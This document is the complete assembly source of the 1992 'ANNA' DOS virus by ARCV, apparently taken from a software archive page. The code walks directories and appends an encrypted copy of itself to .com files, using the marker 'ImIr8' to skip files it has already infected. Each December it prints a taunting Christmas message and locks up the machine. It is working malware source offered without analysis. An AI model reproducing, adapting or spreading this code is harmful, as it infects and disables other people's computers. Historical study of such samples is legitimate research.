home *** CD-ROM | disk | FTP | other *** search
-
- Name ANNA
- Page 55,132
- Title ????
-
- len equ offset marker+5-offset main2
- level1len equ offset level1-offset main3
- level2len equ offset level2-offset main3
-
- code segment
-
- assume cs:code,ds:code,es:code
-
- org 0100h
-
- main: xor si,si
- call level2
- call level1
- jmp main2
- dd 0h
-
- main2: call nextline
- nextline: pop ax
- sub ax,offset nextline
- xchg si,ax
- call level1
- call level2
- main3: mov ax,word ptr ds:[oldstart+si]
- mov cx,word ptr ds:[oldstart+si+2]
- mov ds:[0100h],ax
- mov ds:[0102h],cx
-
- getdate: mov ah,2ah
- int 21h
- jnc notexit
-
- lexit: jmp exit
-
- notexit: cmp dh,0ch
- jne getdir
-
- jmp activ8
-
- getdir: mov ah,47h
- mov dl,00h
- push si
- lea bx,(curdir+si)
- mov si,bx
- int 21h
- jc lexit
-
- pop si
- mov byte ptr ds:[flag+si],00h
-
- setdta: mov ah,1ah
- lea dx,(buff+si)
- int 21h
-
- findfile: mov ah,4eh
- mov cx,00h
- lea dx,(search1+si)
- int 21h
- jnc openup
-
- cmp al,12h
- jne lexit
- jmp next_dir
-
-
- openup: mov ah,3dh
- mov al,02h
- lea dx,(buff+1eh+si)
- int 21h
- jc lexit
- mov ds:[handle+si],ax
-
- movepoint: mov ax,4202h
- mov bx,ds:[handle+si]
- mov cx,0ffffh
- mov dx,0fffbh
- int 21h
- jc lclose
- jmp checkmark
-
- lclose: jmp close
-
- checkmark: mov ah,3fh
- mov bx,ds:[handle+si]
- mov cx,05h
- lea dx,(check+si)
- int 21h
- jc lclose
- lea di,(marker+si)
- lea ax,(check+si)
- xchg si,ax
- mov cx,05h
- compare: cmpsb
- jnz infect
- loop compare
- xchg si,ax
- jmp next_file
-
-
- infect: xchg si,ax
- mov ax,4200h
- mov bx,ds:[handle+si]
- xor cx,cx
- xor dx,dx
- int 21h
- jc lclose
- mov ah,3fh
- mov bx,ds:[handle+si]
- lea dx,(oldstart+si)
- mov cx,4
- int 21h
- jc lclose
- mov ax,4202h
- mov bx,ds:[handle+si]
- xor cx,cx
- xor dx,dx
- int 21h
- jc lclose
- sub ax,3h
- mov word ptr ds:[jump+1+si],ax
- call save
- mov ax,4200h
- mov bx,ds:[handle+si]
- xor cx,cx
- xor dx,dx
- int 21h
- mov ah,40h
- mov bx,ds:[handle+si]
- mov cx,3
- lea dx,(jump+si)
- int 21h
- mov ah,3bh
- lea dx,(bkslash+si)
- int 21h
-
-
- jmp close
-
- next_dir: cmp ds:[dir_count],20
- je exit
- mov ah,1ah
- lea dx,(buff2+si)
- int 21h
- mov ah,3bh
- lea dx,(bslsh+si)
- int 21h
- cmp byte ptr ds:[flag+si],00h
- jne nextdir2
- mov byte ptr ds:[flag+si],0ffh
- mov ah,4eh
- lea dx,(search2+si)
- xor cx,cx
- mov bx,cx
- mov cl,10h
- int 21h
- jc exit
- jmp chdir
-
- nextdir2: mov ah,4fh
- int 21h
- jc exit
-
- inc ds:[dir_count+si]
-
- chdir: mov ah,3bh
- lea dx,(buff2+1eh+si)
- int 21h
- jmp setdta
-
- activ8: mov ah,09h
- lea dx,(msg+si)
- int 21h
- crash: jmp crash
-
-
- close: mov ah,3eh
- mov bx,ds:[handle+si]
- int 21h
-
- runold: mov ax,0100h
- jmp ax
-
- next_file: mov ah,3eh
- mov bx,ds:[handle+si]
- int 21h
-
- mov ah,4fh
- int 21h
- jc next_dir
-
- jmp openup
-
- exit: mov ah,3bh
- lea dx,(curdir+si)
- int 21h
- jmp runold
-
- info db '[ANNA]',00h
- db 'Slartibartfast, ARCV NuKE the French',00h
-
-
- msg db 0dh,0ah,07h,0dh
- db ' Have a Cool Yule from the ARcV',0dh,0ah
- db ' xCept Anna Jones',0dh,0ah
- db 'I hope you get run over by a Reindeer',0dh,0ah
- db ' Santas bringin',39,' you a Bomb',0dh,0ah
- db ' All my Lurve - SLarTiBarTfAsT',0dh,0ah
- db '(c) ARcV 1992 - England Raining Again',0dh,0ah
- db '$'
-
- oldstart: mov ah,4ch
- int 21h
-
- jump db 0e9h,0,0
- flag db 00h
- bslsh db '\',00h
- search2 db '*. ',00h
- search1 db '*.com',00h
-
- level2: lea di,(main3+si)
- mov cx,level2len
- enc2: mov al,byte ptr ds:[di]
- rol al,4
- stosb
- loop enc2
- ret
-
- level1: lea di,(main3+si)
- mov cx,level1len
- inc1: xor byte ptr ds:[di],01h
- key: inc di
- loop inc1
- ret
-
- save: inc byte ptr ds:[key-1+si]
- call level2
- call level1
- mov ah,40h
- mov bx,ds:[handle+si]
- mov cx,len
- lea dx,(main2+si)
- int 21h
- call level1
- call level2
- ret
-
-
- marker db 'ImIr8'
-
- bkslash db '\'
- curdir db 64 dup (0)
- handle dw 0h
- buff db 60h dup (0)
- buff2 db 60h dup (0)
- check db 5 dup (?)
- dir_count dw 0h
-
-
-
- code ends
-
- end main